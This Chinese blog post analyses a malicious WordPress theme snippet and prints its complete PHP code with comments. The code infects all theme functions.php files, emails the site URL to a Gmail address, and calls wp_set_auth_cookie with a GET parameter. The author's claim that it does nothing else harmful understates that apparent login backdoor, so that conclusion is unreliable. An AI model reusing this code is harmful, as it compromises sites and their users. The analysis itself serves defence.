一段WordPress主题恶意代码分析(貌似很多人中招了)

雪落无声 这位朋友今天发了一个文件给我要我帮他看一下这是什么意思。
结果我看完后却发现这个是“坑爹”的恶意代码。先不说这个代码是干什么的,为什么“坑爹”。且一路分析来。。。
蓝冰说他也中了这个“恶意代码”,同时中招的还有z叔啦~~~ :twisted: 我没有,哈哈
后来z叔说是帮人修改主题本地中招 :arrow:
z叔还特意把这个代码帖出来了,有兴趣的点击这里查看。
google了一下,貌似不只天朝人民中招了,JP也有人中招,见这里.

分析过程我都写在代码注释里了,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
<?php
function _verifyactivate_widgets(){
    //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php
        //查找当前主题functions.php文件中最后一个 <? 标记,从这个标记的位置开始,取得一直到文件尾的内容
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));
    $output="";
    $allowed="";
    //去除html和php标签,其实这一句是扯蛋。。。
    $output=strip_tags($output, $allowed);
    //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes
        //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。
        //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
    $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            //如果主题functions.php文件可写
            if (is_writable($item)){
                //特征码
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                //取目标functions.php文件内容
                $cont=file_get_contents($item);
                //没找到特征码?OK,试图感染
                if (stripos($cont,$ftion) === false){
                    //查看目标functions.php文件最后是否是以 ?> 结尾,如果不是,给加上 ?> 标记
                    $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。
                    $output .= $before . "Not found" . $after;
                    //如果文件是以 ?> 标记结尾的,连标记一起取过来
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
                    //后面这句也是伪装用的           
                    $output .= ($isshowdots &#038;&#038; $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
    //从$wids数组弹出一个元素(实际上是一个位置)
    $places=array_shift($wids);
    //如果位置字串是以/结尾的,则去掉/
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
   
    //若不存在这样的文件或目录则直接返回false
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        //否则的话。。。嘿嘿
        //遍历此目录
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." &#038;&#038; $elem != ".."){
                //如果是目录,则加入$wids数组
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&#038;&#038;
                    $elem == substr(__FILE__,-13)){
                        //否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;  
    }
    //下面还有子目录?再找找看,递归
    if (sizeof($wids) > 0){
        return _get_allwidgets_cont($wids,$items);
    } else {
        //好了,完事了,以数组返回所有找到的functions.php文件的绝对路径
        return $items;
    }
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." &#038;&#038; $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}

//这个动作添加了,用于检测所有主题目录下functions.php并感染
add_action("admin_head", "_verifyactivate_widgets");

function _getprepare_widget(){
    if(!isset($text_length)) $text_length=120;
    if(!isset($check)) $check="cookie";
    if(!isset($tagsallowed)) $tagsallowed="<a>";
    if(!isset($filter)) $filter="none";
    if(!isset($coma)) $coma="";
    if(!isset($home_filter)) $home_filter=get_option("home");
    if(!isset($pref_filters)) $pref_filters="wp_";
    if(!isset($is_use_more_link)) $is_use_more_link=1;
    if(!isset($com_type)) $com_type="";
    if(!isset($cpages)) $cpages=$_GET["cperpage"];
    if(!isset($post_auth_comments)) $post_auth_comments="";
    if(!isset($com_is_approved)) $com_is_approved="";
    if(!isset($post_auth)) $post_auth="auth";
    if(!isset($link_text_more)) $link_text_more="(more...)";
    if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
    if(!isset($checkswidgets))
    //这个实际是wp_set_auth_cookie
    $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
    if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
    if(!isset($contentmore)) $contentmore="ma".$coma."il";
    if(!isset($for_more)) $for_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
   
    //如果 _is_widget_active_ option内容为空,即表示没有被感染过
    if (!$widget_yes) :
   
    global $wpdb, $post;
    //取出存在已经通过的评论(不包括trackback/pingback)的文章
    // post_author 为 livethemas@gmail.com 的文章,肯定是没有的

    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($fixed_tags)) $fixed_tags=1;
    if(!isset($filters)) $filters=$home_filter;
    //$gettextcomments实际上为 wp_mail
    if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
    if(!isset($tag_aditional)) $tag_aditional="div";
   
    //这里$sh_cont即为 livethemas@gmail.com
    if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; 
    if(!isset($isshowdots)) $isshowdots=1;
   
    $comments=$wpdb->get_results($sql);
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    //开始调用 wp_mail 向 livethemas@gmail.com 发送邮件,标题和内容都是被感染的博客的URL 地址
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($text_length < 0) {
        $output=$text;
    } else {
        if(!$no_more &#038;&#038; strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            //执行这一句时就开始发邮件了。
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $text_length) {
                $l=$text_length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $link_text_more="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    //把感染标记置为1
    update_option("_is_widget_active_", 1);
    if("all" != $tagsallowed) {
        $output=strip_tags($output, $tagsallowed);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fixed_tags) ? balanceTags($output, true) : $output;
    $output .= ($isshowdots &#038;&#038; $ellipsis) ? "..." : "";
    //$filter 为 none ...,又是在伪装
    $output=apply_filters($filter, $output);
    switch($tag_aditional) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }

//$checkswidgets即是wp_set_auth_cookie
    if ($is_use_more_link ) {
        if($for_more) {
            $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_text_link . "">" . $link_text_more = !is_user_logged_in() &#038;&#038; @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_text_link . "">" . $link_text_more . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}

//这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action("init", "_getprepare_widget");


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
    if(!$show_pass_post) $request .= " AND post_password =""";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}
?>

最后,总结一下。
这个恶意代码,在每次有人访问你的博客页面时会检测是否当前博客下面的所有主题都已经被感染,如果没有,则一并感染之。
完了之后,在wp的初始化动作init执行时,它会检查当前博客是否已经发送邮件到livethemas@gmail.com 这个邮箱(它怎么知道自己发送了没有呢?在你的wp_options表中保存了一个名字为_is_widget_active_ 的选项,如果已经发送成功,则把它的值设置为1 ),如果没有,则以当前被感染博客的主页URL为标题和内容,向 livethemas@gmail.com 这个邮箱 发送邮件。
就是这样,其它的坏事它没有干。
你说这个人他蛋疼不?浪费我时间,害得我还来分析它。。。。


最后,提醒下大家,最好不要去下载那些破xx解oo的主题,搞不好里面就含有比这个更具破坏力的代码。(此代码据说是从某收费主题的free或者破xx解oo版中发现的)

更多
20 Responses Post a comment
  1. MR.WANG

    吓尿了。。。如若真碰上一些猥琐的,那直接找个黑暗的角落自己哭吧

  2. Demon

    :twisted: :twisted: :twisted: :twisted: 通常这个文件里的这几段代码我是直接给XX了。

  3. 荒野无灯

    @wmtimes
    经测试,这个问题在在ie下面出现比较频繁。现在我估计应该是与我用的缓存插件有一些关系。过段时间后再看看怎么修复这个。

  4. wmtimes

    为什么无法留言要刷新呢?我现在遇到了这种问题。很多网站就算刷新也没用。据说是ajax翻页的原因?

  5. 小七

    貌似我的没有,付费主题用的放心

  6. 荒野无灯

    @忽忽
    经确认,文件可以正常下载。
    另外,发邮件给你,居然自动回复:

    本人可以确定你发过来的是垃圾邮件,如果有异议,请联系本人。

  7. wmtimes

    这代码我也中过。但搞不清楚是做什么用的。就删除。把所有主题的function.php设置为只读了。

  8. 笨小孩

    我表示我当初也被这个坑爹的代码害过,不过还是被我发现了,一一删除

  9. deef

    以后不随便下那些破解主题了..

  10. 丕子

    我的最近莫名其妙的从tao123来了很多流量,不知道为啥。。从来没有跟tao123有关系过。。

  11. brushes8

    国外的恶意主题是相当的多的,特别是黑链!所以找主题还是到 正规点的站点好些 :evil:

  12. 依云

    博客收集病毒?又一个收集癖的病毒?

  13. Ben

    看完了,虽然不是非常理解。但是既然是从收费主题的破解版流出来的,是不是原作者用来监测是否有人盗用他的主题?只是破解的人没在意这个代码。。

  14. zwwooooo

    我是帮人修改主题本地中招,囧rz

Leave a Reply

Note: You may use basic HTML in your comments. Your email address will not be published.

Subscribe to this comment feed via RSS